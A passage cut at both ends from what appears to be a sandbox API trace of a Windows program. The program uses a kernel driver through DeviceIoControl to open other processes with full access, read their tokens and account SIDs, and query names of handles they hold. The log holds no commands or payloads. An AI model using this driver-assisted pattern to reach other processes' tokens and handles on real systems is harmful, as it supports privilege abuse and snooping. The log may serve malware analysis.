DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.272] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x12 [0137.272] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.272] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.272] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.272] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.272] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.273] CloseHandle (hObject=0xc8) returned 1 [0137.273] CloseHandle (hObject=0xc0) returned 1 [0137.274] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.274] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.274] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.274] PsAcquireProcessExitSynchronization () returned 0x0 [0137.274] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054735d0) [0137.274] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800206eea0, HandleInformation=0x0) returned 0x0 [0137.274] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.274] PsReleaseProcessExitSynchronization () returned 0x2 [0137.274] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0137.274] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.274] ObfDereferenceObject (Object=0xfffffa800206eea0) returned 0x1 [0137.274] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.274] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.274] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.274] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0137.274] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.274] PsAcquireProcessExitSynchronization () returned 0x0 [0137.274] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054735d0) [0137.274] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800206e2b0, HandleInformation=0x0) returned 0x0 [0137.274] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.274] PsReleaseProcessExitSynchronization () returned 0x2 [0137.274] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0137.274] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.274] ObfDereferenceObject (Object=0xfffffa800206e2b0) returned 0x1 [0137.274] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.274] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.274] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.275] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.275] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.275] PsAcquireProcessExitSynchronization () returned 0x0 [0137.275] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054735d0) [0137.275] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.275] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.275] PsReleaseProcessExitSynchronization () returned 0x2 [0137.275] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0137.275] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.275] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.275] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.275] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.275] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x80c) returned 0xc0 [0137.275] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.275] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800208e520, HandleInformation=0x0) returned 0x0 [0137.275] ObOpenObjectByPointer (in: Object=0xfffffa800208e520, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.275] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x12 [0137.275] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.275] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.275] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.275] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.275] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.277] CloseHandle (hObject=0xc8) returned 1 [0137.277] CloseHandle (hObject=0xc0) returned 1 [0137.277] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.277] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.277] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.277] PsAcquireProcessExitSynchronization () returned 0x0 [0137.277] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054735d0) [0137.277] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800208edc0, HandleInformation=0x0) returned 0x0 [0137.277] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.277] PsReleaseProcessExitSynchronization () returned 0x2 [0137.277] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0137.277] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.277] ObfDereferenceObject (Object=0xfffffa800208edc0) returned 0x1 [0137.277] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.277] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.277] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.277] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.277] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.277] PsAcquireProcessExitSynchronization () returned 0x0 [0137.277] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054735d0) [0137.277] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020927e0, HandleInformation=0x0) returned 0x0 [0137.277] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.277] PsReleaseProcessExitSynchronization () returned 0x2 [0137.277] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0137.277] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.277] ObfDereferenceObject (Object=0xfffffa80020927e0) returned 0x1 [0137.277] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.278] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.278] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.278] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.278] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.278] PsAcquireProcessExitSynchronization () returned 0x0 [0137.278] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054735d0) [0137.278] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.278] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.278] PsReleaseProcessExitSynchronization () returned 0x2 [0137.278] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0137.278] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.278] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.278] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.278] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.278] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x81c) returned 0xc0 [0137.278] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.278] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020a3b30, HandleInformation=0x0) returned 0x0 [0137.278] ObOpenObjectByPointer (in: Object=0xfffffa80020a3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.278] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x12 [0137.278] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.278] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.278] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.278] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.278] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.488] CloseHandle (hObject=0xc8) returned 1 [0137.488] CloseHandle (hObject=0xc0) returned 1 [0137.488] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.488] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.488] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.488] PsAcquireProcessExitSynchronization () returned 0x0 [0137.488] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054735d0) [0137.489] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020a2f20, HandleInformation=0x0) returned 0x0 [0137.489] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.489] PsReleaseProcessExitSynchronization () returned 0x2 [0137.489] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0137.489] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.489] ObfDereferenceObject (Object=0xfffffa80020a2f20) returned 0x1 [0137.489] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.489] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.489] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0137.489] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.489] PsAcquireProcessExitSynchronization () returned 0x0 [0137.489] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054735d0) [0137.489] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020a5430, HandleInformation=0x0) returned 0x0 [0137.489] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.489] PsReleaseProcessExitSynchronization () returned 0x2 [0137.489] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0137.489] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.489] ObfDereferenceObject (Object=0xfffffa80020a5430) returned 0x1 [0137.489] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.489] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.489] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.489] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.489] PsAcquireProcessExitSynchronization () returned 0x0 [0137.489] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054735d0) [0137.489] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.489] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.489] PsReleaseProcessExitSynchronization () returned 0x2 [0137.489] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0137.490] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0137.490] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.490] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.490] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.490] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x82c) returned 0xc0 [0137.490] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.490] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020af800, HandleInformation=0x0) returned 0x0 [0137.490] ObOpenObjectByPointer (in: Object=0xfffffa80020af800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.490] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x12 [0137.490] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa8003151140 | out: TokenHandle=0xfffffa8003151140*=0xc8) returned 0x0 [0137.490] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.490] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.490] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.490] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.491] CloseHandle (hObject=0xc8) returned 1 [0137.491] CloseHandle (hObject=0xc0) returned 1 [0137.491] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.491] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.492] PsAcquireProcessExitSynchronization () returned 0x0 [0137.492] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054735d0) [0137.492] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020aff20, HandleInformation=0x0) returned 0x0 [0137.492] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.492] PsReleaseProcessExitSynchronization () returned 0x2 [0137.492] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0137.492] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0137.492] ObfDereferenceObject (Object=0xfffffa80020aff20) returned 0x1 [0137.492] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.492] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.492] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.492] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0137.492] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.492] PsAcquireProcessExitSynchronization () returned 0x0 [0137.492] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054735d0) [0137.492] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020b1490, HandleInformation=0x0) returned 0x0 [0137.492] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.492] PsReleaseProcessExitSynchronization () returned 0x2 [0137.492] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0137.492] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, 